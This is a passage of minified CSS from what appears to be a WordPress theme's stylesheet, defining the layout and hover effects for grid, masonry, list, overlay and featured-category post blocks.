.grid-post-box-meta .cat>a.penci-cat-name,.penci-masonry .item-masonry .grid-post-box-meta .cat>a.penci-cat-name{margin-bottom:0;line-height:inherit;font-size:inherit}.penci-grid li .item h2 a,.penci-masonry .item-masonry h2 a,.penci_grid_title a{font-size:18px;color:var(--pcheading-cl);text-transform:uppercase;transition:.3s}.penci-grid li .item h2 a:hover,.penci-masonry .item-masonry h2 a:hover,.penci_grid_title a:hover{color:#888}.penci-grid li .item p,.penci-masonry .item-masonry p{margin-bottom:0}.penci-grid .mixed-detail .item-content,.penci-grid li .item .item-content,.penci-masonry .item-masonry .item-content{margin-top:18px;text-align:left}.penci-post-box-meta.penci-post-box-grid{border:none!important;padding:0;text-align:center;position:relative;margin-top:16px;clear:none}.penci-post-box-meta.penci-post-box-grid:before{content:"";position:absolute;width:100%;left:0;height:1px;background:#dedede;display:block;top:49%;z-index:1}.penci-post-box-meta.penci-post-box-grid .penci-post-share-box{float:none!important;padding:0 10px;position:relative;z-index:5;background:#fff;display:inline-block;margin-top:0}.grid-header-box{padding-bottom:17px;position:relative}.grid-header-box:after{width:60px;height:1px;background:var(--pcaccent-cl);margin-left:-30px;position:absolute;left:50%;bottom:0;content:""}.grid-boxed-4-item .grid-header-box::after{display:none}.penci-grid li.grid-overlay-meta .item>.thumbnail,.penci-masonry .item-masonry.grid-overlay-meta>.thumbnail{margin-bottom:0;vertical-align:top}.grid-overlay-meta .grid-header-box{margin:-30px 25px 0;background:#fff;padding-top:25px;padding-left:5px;padding-right:5px;z-index:10;position:relative}.penci-featured-cat-seemore,.penci-readmore-btn{margin-top:10px;display:block;text-align:left}.penci-featured-cat-seemore{clear:both;margin:-40px 0 60px;line-height:1}.penci-seemore-style-8{margin-top:-20px}.penci-featured-cat-seemore a,.penci-readmore-btn a{transition:.3s;-webkit-transition:.3s;-moz-transition:.3s;line-height:inherit}.penci-featured-cat-seemore a:hover,.penci-readmore-btn a:hover{opacity:.7}.penci-featured-cat-seemore i,.penci-readmore-btn i{margin-left:5px;font-size:inherit;color:inherit}.penci-readmore-btn.penci-btn-make-button{margin-top:21px}.penci-featured-cat-seemore.penci-btn-remove-arrow i,.penci-readmore-btn.penci-btn-remove-arrow i{display:none}.penci-featured-cat-seemore.penci-btn-make-button a,.penci-readmore-btn.penci-btn-make-button a{line-height:1;color:#fff;background:var(--pcaccent-cl);padding:10px 15px;text-transform:uppercase;font-family:var(--pchead-font);font-weight:var(--pchead-wei);font-size:12px;display:inline-block}.penci-featured-cat-seemore.penci-btn-align-center,.penci-readmore-btn.penci-btn-align-center{text-align:center}.penci-featured-cat-seemore.penci-btn-align-left,.penci-readmore-btn.penci-btn-align-left{text-align:left}.penci-featured-cat-seemore.penci-btn-align-right,.penci-readmore-btn.penci-btn-align-right{text-align:right}.penci-wrap-masonry{margin-left:-15px;margin-right:-15px}.penci-masonry{width:100%;display:inline-block;vertical-align:top}.penci-masonry .item-masonry{box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;width:33.3333%;display:inline-block;padding:0 15px;float:left;margin-bottom:51px;text-align:center}.penci-isotope-padding{display:block!important;overflow:hidden;background-repeat:no-repeat;background-position:center center;background-size:cover;-webkit-background-size:cover}.item-link-relative,.penci-post-gallery-container .item-link-relative{position:relative;display:block;vertical-align:top}.item-link-relative>img,.item-masonry a img,.penci-post-gallery-container .item-link-relative img{position:absolute;left:0;right:0;top:0;bottom:0;display:block;z-index:1;width:100%}.container.penci_sidebar .penci-masonry .item-masonry,.container.penci_sidebar .penci-masonry[data-cols="2"] .item-masonry,.penci-masonry .item-masonry.grid-masonry-2,.penci-masonry[data-cols="2"] .item-masonry{width:50%}.penci-masonry .item-masonry .thumbnail>a{display:inline-block;vertical-align:top;width:100%}.container.penci_sidebar .penci-masonry[data-cols="6"] .item-masonry,.penci-masonry[data-cols="6"] .item-masonry,.pencisc-grid-6 .penci-masonry .item-masonry{width:16.6666667%}.container.penci_sidebar .penci-masonry[data-cols="5"] .item-masonry,.penci-masonry[data-cols="5"] .item-masonry,.pencisc-grid-5 .penci-masonry .item-masonry{width:20%}.container.penci_sidebar .penci-masonry[data-cols="4"] .item-masonry,.penci-masonry[data-cols="4"] .item-masonry,.pencisc-grid-4 .penci-masonry .item-masonry{width:25%}.container.penci_sidebar .penci-masonry[data-cols="3"] .item-masonry,.penci-masonry[data-cols="3"] .item-masonry,.pencisc-grid-3 .penci-masonry .item-masonry{width:33.3333%}.container.penci_sidebar .penci-masonry[data-cols="2"] .item-masonry,.penci-masonry[data-cols="2"] .item-masonry,.pencisc-grid-2 .penci-masonry .item-masonry{width:50%}.container.penci_sidebar .penci-masonry[data-cols="1"] .item-masonry,.penci-masonry[data-cols="1"] .item-masonry,.pencisc-grid-1 .penci-masonry .item-masonry{width:100%}.penci-masonry .standard-masonry{width:50%}.standard-masonry .standard-main-content>h2{font-size:20px}.standard-masonry .standard-main-content>h2:before{height:18px;top:3px}.penci-masonry .item-masonry.standard-masonry .cat a{margin-bottom:13px}.standard-masonry .post-box-meta{margin-top:14px}.cat>a.penci-cat-name{font-size:13px;color:var(--pcaccent-cl);line-height:1.2;margin:0 15px 0 0;padding-right:10px;display:inline-block;vertical-align:top;background:0 0;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;font-weight:400;margin-bottom:5px;position:relative;text-decoration:none}.cat>a.penci-cat-name:after{content:"";display:inline-block;border:1px solid;font-size:12px;margin-left:10px;position:absolute;top:50%;margin-top:-3px;width:3px;height:3px;transform:rotate(45deg);-moz-transform:rotate(45deg);-webkit-transform:rotate(45deg);box-sizing:unset;-webkit-box-sizing:unset;opacity:.65}.cat>a.penci-cat-name:first-child{margin-left:0}.cat>a.penci-cat-name:last-child{margin-right:0;padding:0}.cat>a.penci-cat-name:last-child:after{content:none;display:none}.penci-grid li.list-post{width:100%!important;margin-right:0!important;padding-bottom:40px;margin-bottom:40px;border-bottom:1px solid #dedede}.penci-grid li.list-post .item{width:100%}.penci-grid li.list-post:last-child{margin-bottom:40px;padding-bottom:0;border-bottom:none}.penci-grid li.list-post .item>.thumbnail{margin:0;width:46.25%;float:left;max-width:100%}.pc-has-thumb.pc-list-imgright article{display:flex;flex-wrap:wrap;flex-direction:row-reverse}.pc-has-thumb.pc-list-imgright article .thumbnail{align-self:start}.penci-grid li.pclist-layout.pc-has-thumb.pc-list-imgright .item .content-list-right{padding-left:0;padding-right:30px}.penci-latest-posts-sc .penci-grid li.list-post .item>.thumbnail{max-width:100%}.penci-grid li.list-post .item .content-list-right{margin:0;padding-left:30px;width:53.75%;float:left}.penci-grid li.list-post .item .content-list-right.fullwidth{padding:0!important;width:100%!important}.penci-grid[data-layout=list-boxed] li.list-post.pc-nothumb .item{border-left:1px solid var(--pcborder-cl);padding-left:20px}.penci-grid[data-layout=list-boxed-2] li.list-post.pc-nothumb .item{border-right:1px solid var(--pcborder-cl);padding-right:20px}.list-post .header-list-style{position:relative;padding-bottom:17px}.list-post .header-list-style:after{content:"";width:60px;height:1px;background:var(--pcaccent-cl);display:block;bottom:0;left:0;position:absolute}.content-special-list{width:100%;display:block;padding:30px;background-size:cover;background-position:center center;position:relative}.content-special-list.no-thumbnail{padding:0}.content-special-list .standard-content-special{position:relative;left:auto;top:auto;bottom:auto;right:auto}.content-special-list.no-thumbnail .standard-content-special{box-shadow:none;-webkit-box-shadow:none;-moz-box-shadow:none;border:1px solid #ececec}.list-post.penci-slistp .header-list-style{padding-bottom:5px}.penci-grid li.list-post.penci-slistp .item>.thumbnail{width:160px;max-width:100%;margin-right:16px;float:left}.penci-grid li.list-post.penci-slistp .item .content-list-right{display:block;float:none!important;overflow:hidden;width:auto!important;padding-left:0!important;padding-right:0!important}.list-post.penci-slistp .header-list-style:after{content:none;display:none}.penci-grid li.list-post.penci-slistp{padding-bottom:15px;margin-bottom:15px}.penci-latest-posts-small-list li.penci-slistp:last-child{padding-bottom:0!important}.penci-latest-posts-mixed-3 .penci-grid li.penci-slistp,.penci-latest-posts-mixed-4 .penci-grid li.penci-slistp,.penci-layout-mixed-3 .penci-grid li.penci-slistp,.penci-layout-mixed-4 .penci-grid li.penci-slistp{padding-bottom:0;margin-bottom:0;padding-top:15px;border-bottom:none;border-top:1px solid var(--pcborder-cl)}.penci-latest-posts-mixed-3 .penci-grid li.penci-slistp~.penci-slistp,.penci-latest-posts-mixed-4 .penci-grid li.penci-slistp~.penci-slistp,.penci-layout-mixed-3 .penci-grid li.penci-slistp~.penci-slistp,.penci-layout-mixed-4 .penci-grid li.penci-slistp~.penci-slistp{margin-top:15px}.penci-latest-posts-mixed-3 .penci-grid li.list-post.penci-slistp:last-child,.penci-latest-posts-mixed-4 .penci-grid li.list-post.penci-slistp:last-child,.penci-layout-mixed-3 .penci-grid li.list-post.penci-slistp:last-child,.penci-layout-mixed-4 .penci-grid li.list-post.penci-slistp:last-child{margin-bottom:30px}.post-entry li.penci-slistp .grid-post-box-meta{line-height:1.3;margin-top:10px}.penci-grid li.penci-slistp .item .thumbnail .icon-post-format{width:32px;height:32px;line-height:30px;margin:-16px 0 0 -16px;font-size:14px;left:50%;right:auto}.grid-mixed{display:table;width:100%;vertical-align:top;border:1px solid var(--pcborder-cl);margin-bottom:60px}.grid-mixed>article{width:100%;display:table}.grid-mixed .mixed-detail,.grid-mixed .thumbnail{display:table-cell;vertical-align:top}.grid-mixed .thumbnail.thumb-right{display:none}.penci-grid>.grid-mixed:nth-of-type(2n) .thumbnail.thumb-right{display:table-cell}.penci-grid>.grid-mixed:nth-of-type(2n) .thumbnail.thumb-left{display:none}.grid-mixed .thumbnail{width:65.812%;transition:opacity .3s;-webkit-transition:opacity .3s;-moz-transition:opacity .3s;position:relative}.grid-mixed .mixed-detail{width:34.188%;padding:30px;padding-bottom:115px;position:relative}.grid-mixed .mixed-detail .cat{margin-bottom:8px;display:block}.grid-mixed .mixed-detail h2 a{font-size:18px;text-transform:uppercase;color:#313131}.grid-mixed .mixed-detail h2 a:hover{color:#888}.grid-mixed .grid-header-box:after{left:0;margin:0}.grid-mixed .penci-post-box-meta{margin:0 0 4px 0;position:absolute;left:30px;bottom:30px;right:30px;display:block}.penci-el-mixed-s2 .grid-mixed .mixed-detail,.penci-el-mixed-s2 .grid-mixed .thumbnail.thumb-left,.penci-latest-posts-sc .grid-mixed .mixed-detail,.penci-latest-posts-sc .grid-mixed .thumbnail.thumb-left,.penci_sidebar .grid-mixed .mixed-detail,.penci_sidebar .grid-mixed .thumbnail.thumb-left{display:block!important;width:100%}@media only screen and (min-width:961px){.penci-latest-posts-mixed-larger .grid-mixed .thumbnail.thumb-left{width:65.812%}.penci-latest-posts-mixed-larger .grid-mixed .mixed-detail{width:34.188%}.penci-latest-posts-mixed-larger .grid-mixed .mixed-detail,.penci-latest-posts-mixed-larger .grid-mixed .thumbnail.thumb-left{display:table-cell!important;vertical-align:top}.penci-latest-posts-mixed-larger .grid-mixed.pcmx-hide-share .mixed-detail{padding-bottom:30px;vertical-align:middle}}.penci_sidebar .grid-mixed .mixed-detail{padding:30px}.penci_sidebar .grid-mixed .penci-post-box-meta{position:relative;margin:31px 0 4px;left:auto;right:auto;bottom:auto}.penci-el-mixed-s2 .grid-mixed .thumbnail.thumb-right,.penci-latest-posts-sc .grid-mixed .thumbnail.thumb-right,.penci_sidebar .grid-mixed .thumbnail.thumb-right{display:none!important}.penci-el-mixed-s2 .penci-grid>li{width:calc((100% - var(--pcrgap))/ 2)}.penci-grid .list-post.list-boxed-post{position:relative;padding-bottom:0;border:1px solid #dedede!important;margin-bottom:60px}.penci-post-box-meta.post-box-boxed-1{margin:31px 0 0;text-align:left}.list-post.list-boxed-post .header-list-style:after,.penci-layout-boxed-1 .list-boxed-post .header-list-style:after,.penci-layout-classic-boxed-1 .list-boxed-post .header-list-style:after,.penci-layout-standard-boxed-1 .list-boxed-post .header-list-style:after{left:50%;margin-left:-30px}.grid-post-box-meta{margin:12px 0 0;font-size:14px}.grid-post-box-meta>span:not(.cat){color:#888}.grid-post-box-meta a,.grid-post-box-meta span{font-size:inherit}.grid-post-box-meta span:after{content:"";width:1px;height:10px;background:#dedede;margin:0 8px 0 10px;border-right:1px solid;background:0 0!important;opacity:.6;display:inline-block}.grid-post-box-meta span:last-child:after{content:none;display:none}.grid-post-box-meta span a{color:#313131}.grid-post-box-meta span a.comment-link{color:#888;font-style:normal}.grid-post-box-meta span a.comment-link:hover,.grid-post-box-meta span a:hover{color:var(--pcaccent-cl)}.list-boxed-post .grid-post-share-box .inner-grid-post-share-box{background:#fff}.penci-grid .list-post.list-boxed-post .item>.thumbnail{width:50%;max-width:none;position:relative;float:none}.penci-grid .list-post.list-boxed-post .item>.content-list-right{float:right}.penci-grid li.list-boxed-post:nth-of-type(2n+2) .item>.content-list-right{float:left}.penci-grid .list-post.list-boxed-post .item>.thumbnail:before{content:"";width:0;height:0;border-top:20px solid transparent;border-right:20px solid #fff;border-bottom:20px solid transparent;position:absolute;right:0;top:50%;margin-top:-20px;z-index:5}.penci-grid .list-post.list-boxed-post:nth-of-type(2n+2) .item>.thumbnail:before{border-right:none;border-left:20px solid #fff;right:auto;left:0}.penci-grid .list-post.list-boxed-post .item .content-list-right{padding:20px 60px;display:table;width:50%;min-height:389px;height:389px;text-align:center}.list-boxed-post .inner-content-list-right{vertical-align:middle;display:table-cell}.penci_sidebar .penci-grid .list-post.list-boxed-post .item .content-list-right{padding:20px 30px;min-height:0;height:auto}.penci-grid .list-post.list-boxed-post .item .content-list-right.fullwidth{width:100%;max-width:none}.list-boxed-post .fullwidth .inner-content-list-right{min-height:0;padding-left:0;padding-right:0}.grid-featured.penci-infeed-data,.penci-grid .list-post.list-boxed-post.penci-infeed-data{border:none!important}.penci-infeed-data{overflow:hidden;text-align:center!important}.penci-infeed-data .penci-inner-infeed-data{display:block}.penci-infeed-data.penci-infeed-fullwidth-ads{width:100%!important;min-width:100%!important;max-width:100%!important;margin-left:0!important;margin-right:0!important;margin-bottom:40px}.grid-overlay{margin-bottom:60px;position:relative;display:block;clear:both}.grid-style.grid-overlay{width:100%}.penci-overlay-over{position:relative}.penci-overlay-over:before{content:"";position:absolute;top:0;left:0;width:100%;height:100%;background:#000;opacity:.3;z-index:1;transition:opacity .3s ease;-webkit-transition:opacity .3s ease;-moz-transition:opacity .3s ease}.penci-overlay-over:hover:before{opacity:.5}.penci-overlay-over .overlay-header-box{position:absolute;text-align:center;left:20px;right:20px;top:50%;transform:translateY(-50%);-webkit-transform:translateY(-50%);-moz-transform:translateY(-50%);z-index:10;padding-bottom:18px}.penci-overlay-over .overlay-header-box:after{content:"";height:1px;background:#fff;display:block;position:absolute;bottom:0;width:60px;left:50%;margin-left:-30px}.penci-overlay-over:hover .overlay-header-box:after{width:60px;left:50%;margin-left:-30px}.overlay-header-box .cat{display:block;margin-bottom:6px}.overlay-header-box .cat>a.penci-cat-name{color:#fff}.overlay-header-box .cat>a.penci-cat-name:hover{color:var(--pcaccent-cl);text-decoration:none}.overlay-header-box .cat>a.penci-cat-name:after{border-color:#fff}.overlay-header-box .overlay-author{margin-top:6px;font-size:14px}.overlay-header-box .overlay-title a{text-transform:uppercase;color:#fff;font-size:24px}.overlay-author a,.overlay-author span{color:#fff;font-style:italic}.overlay-author a:hover{color:var(--pcaccent-cl)}.penci-overlay-over .overlay-border{position:absolute;top:5px;left:5px;right:5px;bottom:5px;display:block;border:1px solid #fff;z-index:5}.overlay-post-box-meta{position:absolute;bottom:-1px;left:30px;right:30px;text-align:center;margin:0;background:#fff;z-index:7;border:none;padding:21px 10px 0}.overlay-post-box-meta>div{display:inline-block;vertical-align:bottom;line-height:1;float:none!important}.overlay-post-box-meta>div:after{content:"";width:0;height:10px;margin:0 13px 0 16px;display:inline-block;border-right:1px solid;background:0 0!important;opacity:.7}.overlay-post-box-meta>span.cat{display:inline-block;vertical-align:bottom;line-height:1;float:none!important}.overlay-post-box-meta>span.cat a{margin:0}.overlay-post-box-meta>div:last-child:after{content:none;display:none}.overlay-post-box-meta,.overlay-post-box-meta .overlay-share a,.overlay-post-box-meta .overlay-share span{color:#888}.overlay-post-box-meta .overlay-share a:hover{color:var(--pcaccent-cl)}.overlay-post-box-meta .overlay-share i{color:inherit;margin-right:5px}.grid-featured{margin-bottom:60px;border:1px solid var(--pcborder-cl);overflow:hidden;width:100%}.grid-featured .thumbnail{position:relative;margin:-1px -1px 0 -1px}.penci-featured-infor{padding:20px;text-align:center}.penci-featured-infor .cat{display:block;margin-bottom:8px}.penci-featured-infor .grid-post-box-meta .cat{margin:initial;display:inline-block}.penci-featured-infor .penci-entry-title{text-transform:uppercase;font-size:24px}.penci-featured-infor .penci-entry-title a{color:var(--pcheading-cl);text-decoration:none;font-size:inherit}.penci-featured-infor .penci-entry-title a:hover{color:var(--pcaccent-cl);text-decoration:none}.penci-featured-infor .item-content{margin-top:18px;text-align:left}.penci-featured-infor .item-content>p:last-child{margin-bottom:0!important}.grid-featured .penci-featured-share-box a{color:inherit;line-height:inherit}.grid-featured .penci-featured-share-box a i{line-height:inherit}.grid-featured .penci-featured-share-box .penci-shareso a{margin-right:10px}.grid-featured .penci-featured-share-box .penci-shareso a.penci-post-like{margin-right:6px}.grid-featured .penci-featured-share-box .penci-shareso a:last-child{margin-right:0}.grid-featured .penci-featured-share-box a:hover{color:var(--pcaccent-cl)}.penci-featured-share-box .dt-share{display:none!important}.penci-featured-share-box .penci-shareso{opacity:0;visibility:hidden;transform:translateX(40px);-webkit-transform:translateX(40px);z-index:2}.penci-featured-share-box .penci-shareic,.penci-featured-share-box .penci-shareso{transition:opacity .3s,transform .3s;-webkit-transition:opacity .3s,transform .3s;padding:0 15px;height:40px;line-height:40px;background:var(--pctext-cl);color:var(--pcbg-cl);display:inline-block;vertical-align:top;position:absolute;left:0;bottom:0;z-index:10}.penci-featured-share-box .penci-shareic{padding:0;width:40px;text-align:center}.grid-featured .thumbnail:hover .penci-shareso{opacity:1;transform:none;-webkit-transform:none;display:inline-block;visibility:visible}.grid-featured .thumbnail:hover .penci-shareic{transform:translateX(-40px);-webkit-transform:translateX(-40px)}.penci-grid li.list-boxed-post-2{margin:0!important;width:33.3333%}.penci-grid li.list-boxed-post-2:last-child{margin-bottom:60px!important}.penci_sidebar .penci-grid li.list-boxed-post-2{width:calc((100% - var(--pcrgap))/ 2)}.penci-grid li.list-boxed-post-2 .item>.thumbnail{margin:0}.penci-grid li.list-boxed-post-2 .item>.thumbnail:before{position:absolute;content:"";width:0;height:0;border-left:18px solid transparent;border-right:18px solid transparent;border-bottom:18px solid #fff;left:50%;margin-left:-18px;bottom:0}.penci-grid li.list-boxed-post-2 .item>.thumbnail.arrow-top:before{border-bottom:none;border-top:18px solid #fff;bottom:auto;top:0}.penci-grid li.list-boxed-post-2 .content-boxed-2{border:1px solid #efefef}.penci-grid li.list-boxed-post-2 .content-boxed-2.show-bottom{border-top:none}.penci-grid li.list-boxed-post-2 .content-boxed-2.show-top{border-bottom:none}.penci-grid li.list-boxed-post-2 .content-boxed-2.boxed-none{display:none}.penci-grid li.list-boxed-post-2 .inner-parent-boxed-2{height:258px;display:table;text-align:center;padding:20px;width:100%}.penci_sidebar .penci-grid li.list-boxed-post-2 .inner-parent-boxed-2{height:256px}.penci-grid li.list-boxed-post-2 .inner-boxed-2{display:table-cell;vertical-align:middle;max-width:100%}.typography-style .content-typography{position:absolute;left:20px;right:20px;top:20px;bottom:20px;transition:opacity .4s;-webkit-transition:opacity .4s;-moz-transition:opacity .4s}.penci-grid li.typography-style{margin-bottom:30px}.penci-grid li.typography-style:last-child{margin-bottom:60px}.penci-grid li.typography-style .item>.thumbnail{margin-bottom:0}.penci-grid li.typography-style .item>.thumbnail:hover{opacity:1}.penci-grid .typography-style .thumbnail:hover .content-typography,.typography-style .content-typography:hover{opacity:1}.penci-grid li.typography-style .overlay-typography{position:absolute;left:0;top:0;width:100%;height:100%;background:#000;opacity:.3;transition:opacity .3s ease 0s;-webkit-transition:opacity .3s ease 0s;-moz-transition:opacity .3s ease 0s}.penci-grid li.typography-style:hover .overlay-typography{opacity:.7}.penci-grid li.typography-style .overlay-typography:after,.penci-grid li.typography-style .overlay-typography:before{position:absolute;top:5px;right:5px;bottom:5px;left:5px;content:"";opacity:0;-webkit-transition:opacity .35s,-webkit-transform .35s;transition:opacity .35s,transform .35s}.penci-grid li.typography-style .overlay-typography:before{border-top:1px solid #fff;border-bottom:1px solid #fff;-webkit-transform:scale(0,1);transform:scale(0,1)}.penci-grid li.typography-style .overlay-typography:after{border-right:1px solid #fff;border-left:1px solid #fff;-webkit-transform:scale(1,0);transform:scale(1,0)}.penci-grid li.typography-style:hover .overlay-typography:after,.penci-grid li.typography-style:hover .overlay-typography:before{opacity:1;-webkit-transform:scale(1);transform:scale(1)}.typography-style .main-typography{position:absolute;z-index:5;top:50%;left:0;width:100%;transform:translateY(-50%);-webkit-transform:translateY(-50%);-moz-transform:translateY(-50%)}.typography-style .main-typography a.penci-cat-name{color:#fff;border-color:#fff;text-decoration:none}.typography-style .main-typography a.penci-cat-name:after{border-color:#fff}.penci-grid li.typography-style .item .main-typography h2 a{color:#fff}.penci-grid li.typography-style .grid-post-box-meta span,.penci-grid li.typography-style .grid-post-box-meta span a{color:#fff}.penci-grid li.typography-style .grid-post-box-meta span a:hover,.penci-grid li.typography-style .item .main-typography h2 a:hover{color:var(--pcaccent-cl)}.penci-grid>li.photography-2{margin-bottom:30px}.penci-grid>li.photography-2:last-child{margin-bottom:60px}.penci-photo-2-effect{position:relative;overflow:hidden;background:#000;text-align:center;cursor:pointer}.penci-photo-2-effect img{-webkit-backface-visibility:hidden;backface-visibility:hidden;transform:scale(1.2);-webkit-transform:scale(1.2);-moz-transform:scale(1.2);transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;opacity:.7;display:block;position:relative}.penci-photo-2-effect:hover img{opacity:.4;transform:scale(1);-webkit-transform:scale(1);-moz-transform:scale(1)}.penci-photo-2-effect figcaption,.penci-photo-2-effect figcaption a.photo-2-overlay{padding:60px;text-align:center;position:absolute;top:0;left:0;width:100%;height:100%}.penci-photo-2-effect figcaption{-webkit-backface-visibility:hidden;backface-visibility:hidden}.penci-photo-2-effect a.photo-2-overlay{z-index:100;text-indent:200%;white-space:nowrap;font-size:0;opacity:0}.penci-photo-2-effect figcaption h2,.penci-photo-2-effect figcaption p{color:#fff;position:absolute;top:50%;left:0;width:100%;transition:all .3s;-webkit-transition:all .3s}.penci-photo-2-effect figcaption h2{font-size:24px;padding:0 60px;text-transform:uppercase;font-family:var(--pchead-font);font-weight:var(--pchead-wei);top:50%;transform:translateY(-100%);-webkit-transform:translateY(-100%);padding-bottom:30px}.penci-photo-2-effect:hover figcaption h2{padding-bottom:15px}.penci-photo-2-effect figcaption p{padding:0 60px;top:50%;margin-top:30px;line-height:1.8}.penci-photo-2-effect:hover figcaption p{margin-top:15px}.penci-photo-2-effect figcaption:after,.penci-photo-2-effect figcaption:before{position:absolute;top:50%;left:50%;width:80%;height:1px;background:#fff;content:"";-webkit-transition:opacity .35s,-webkit-transform .35s;transition:opacity .35s,transform .35s;-webkit-transform:translate3d(-50%,-50%,0);transform:translate3d(-50%,-50%,0)}.penci-photo-2-effect:hover figcaption:after{opacity:.5;-webkit-transform:translate3d(-50%,-50%,0) rotate(-45deg);transform:translate3d(-50%,-50%,0) rotate(-45deg)}.penci-photo-2-effect:hover figcaption:before{opacity:.5;-webkit-transform:translate3d(-50%,-50%,0) rotate(45deg);transform:translate3d(-50%,-50%,0) rotate(45deg)}.penci_sidebar .penci-photo-2-effect figcaption{padding:20px}.penci_sidebar .penci-photo-2-effect figcaption h2{padding:0 20px 20px;font-size:18px}.penci_sidebar .penci-photo-2-effect figcaption p{margin-top:20px;padding:0 20px;font-size:93%}.penci_sidebar .penci-photo-2-effect:hover figcaption h2{padding-bottom:10px}.penci_sidebar .penci-photo-2-effect:hover figcaption p{margin-top:10px}section.home-featured-cat{clear:both;display:block;width:100%}.home-featured-cat.mag-cat-style-2{display:inline-block;width:48.05%;margin-right:3.9%;float:left}.penci-featured-cat-sc .home-featured-cat.mag-cat-style-2,.vc_row .home-featured-cat.mag-cat-style-2{width:100%;float:none;margin-right:0;vertical-align:top}#main .theiaStickySidebar>div.mag-cat-style-2:nth-of-type(2n+2),#main>div.mag-cat-style-2:nth-of-type(2n+2){margin-right:0}.penci-grid li.magazine-layout .item h2 a{text-transform:none;letter-spacing:0}.container.penci_sidebar .penci-grid>li.list-post-3,.list-post-3,.penci-grid>li.list-post-3{width:100%}.list-post-3 .item{display:flex;flex-direction:row;flex-wrap:wrap;justify-content:space-between}.list-post-3+.list-post-3{margin-top:30px}.penci-grid li.list-post-3 .item>.thumbnail{width:45%;align-items:stretch;display:flex;margin:0}.list-post-3 .content-list-right{background:#fff;box-shadow:rgba(0,0,0,.07) 0 0 20px 0;padding:30px;width:calc(55% + 20px);margin:20px 20px 20px -40px;position:relative;z-index:2;border-radius:5px;overflow:hidden}.list-post-3 .grid-post-box-meta{padding:25px 30px;background:var(--pcaccent-cl);margin:20px -30px -30px -30px}.list-post-3 .entry-content{margin-top:20px}.list-post-3 .grid-post-box-meta span,.list-post-3 .grid-post-box-meta span a{color:#fff}.list-post-3 .thumbnail{position:relative}.list-post-3 .penci-post-box-meta{background:0 0;position:absolute;top:0;bottom:0;left:0;right:0;margin:0;backdrop-filter:blur(30px) brightness(90%);display:flex;flex-wrap:wrap;justify-content:center;align-items:center;opacity:0;transition:.3s all ease-in-out}.list-post-3 .penci-post-box-meta.active{opacity:1}.list-post-3 .penci-post-box-meta:after,.list-post-3 .penci-post-box-meta:before{display:none}.list-post-3 .penci-post-box-meta .penci-post-share-box{background:0 0}.list-post-3 .penci-post-box-meta .penci-post-share-box a,.list-post-3 .penci-post-box-meta .penci-post-share-box span{color:#fff}.list-post-3.pc-nothumb .content-list-right{width:100%;margin:0}.penci-post-share-box-btn{position:absolute;width:32px;height:32px;z-index:99;background:var(--pcbg-cl);border-radius:50%;display:flex;justify-content:center;align-items:center;bottom:10px;left:10px;font-size:16px;box-shadow:0 0 4px 0 rgba(0,0,0,.2)}.penci-post-share-box-btn a{color:var(--pcheading-cl)}@media only screen and (min-width:961px){.penci-featured-cat-sc .mag-cat-style-7 .penci-grid>li{width:calc((100% - var(--pcrgap))/ 2)}}.penci-homepage-title.penci-magazine-title{text-align:left}.penci-homepage-title.penci-magazine-title:before{left:30px}.penci-homepage-title.penci-magazine-title h3 a{color:#313131}.penci-homepage-title.pcalign-left{text-align:left}.penci-homepage-title.pcalign-center{text-align:center}.penci-homepage-title.pcalign-right{text-align:right}.home-featured-cat-content{display:inline-block;width:100%;vertical-align:top;margin-bottom:60px}.elementor-widget-penci-featured-cat .penci-featured-cat-seemore.penci-seemore-style-13{margin-top:0;margin-bottom:0}.elementor-widget-penci-featured-cat .penci-featured-cat-seemore,.elementor-widget-penci-featured-cat .penci-featured-cat-seemore.penci-seemore-style-8{margin-top:20px;margin-bottom:0}.elementor-widget-penci-featured-cat .home-featured-cat-content{margin-bottom:0!important}.home-featured-cat-content.style-1{display:table;width:100%;width:calc(100% + 30px);margin-left:-15px;margin-right:-15px}.home-featured-cat-content.style-11,.home-featured-cat-content.style-3{display:table;width:100%;width:calc(100% + 10px);margin-left:-5px;margin-right:-5px;margin-bottom:50px}.penci-featured-cat-ctcol .home-featured-cat-content.style-11,.penci-featured-cat-ctcol .home-featured-cat-content.style-3{width:100%;margin-left:0;margin-right:0}.home-featured-cat-content.style-5{overflow:hidden}.home-featured-cat-content.style-7{margin-bottom:34px}.home-featured-cat-content.style-8{margin-bottom:0}.home-featured-cat-content.style-13{margin-bottom:40px}.home-featured-cat-content .cat-left,.home-featured-cat-content .cat-right{width:50%;float:left;display:inline-block;padding:0 15px}.home-featured-cat-content .mag-post-box{width:100%;overflow:hidden;display:table;padding-bottom:15px;margin-bottom:15px;border-bottom:1px solid var(--pcborder-cl)}.home-featured-cat-content .mag-post-box.first-post{border-bottom:none;padding-bottom:0;margin-bottom:0}.home-featured-cat-content .cat-right>.mag-post-box:last-child,.home-featured-cat-content>.mag-post-box:last-child{padding-bottom:0;margin-bottom:0;border-bottom:none}.home-featured-cat-content.style-10 .mag-post-box.first-post,.home-featured-cat-content.style-2 .mag-post-box.first-post{padding-bottom:22px;margin-bottom:30px;border-bottom:1px solid #dedede}.home-featured-cat-content .mag-post-box .magcat-thumb{float:left;margin-right:20px;position:relative;transition:opacity .3s;-webkit-transition:opacity .3s;-moz-transition:opacity .3s}.cat-right .magcat-detail,.home-featured-cat-content.style-10 .mag-post-box:not(.first-post) .magcat-detail,.home-featured-cat-content.style-2 .mag-post-box:not(.first-post) .magcat-detail,.home-featured-cat-content.style-9 .magcat-detail{overflow:hidden}.home-featured-cat-content .magcat-thumb .icon-post-format,.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image a.icon-post-format,.widget ul.side-newsfeed li .side-item .side-image a.icon-post-format{width:30px;height:30px;position:absolute;display:inline-block;line-height:26px;z-index:10;top:50%;left:50%;text-align:center;margin:-15px 0 0 -15px;border-radius:50%;font-size:13px;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;border:2px solid rgba(255,255,255,.9);background:rgba(0,0,0,.4);color:rgba(255,255,255,.9)}.home-featured-cat-content .mag-post-box.first-post .magcat-thumb .icon-post-format,.home-featured-cat-content.style-3 .magcat-thumb .icon-post-format,.home-featured-cat-content.style-4 .magcat-thumb .icon-post-format,.penci_recent-posts-sc ul.side-newsfeed li.featured-news .side-item .side-image a.icon-post-format,.widget ul.side-newsfeed li.featured-news .side-item .side-image a.icon-post-format{font-size:18px;width:42px;height:42px;line-height:38px;margin:-21px 0 0 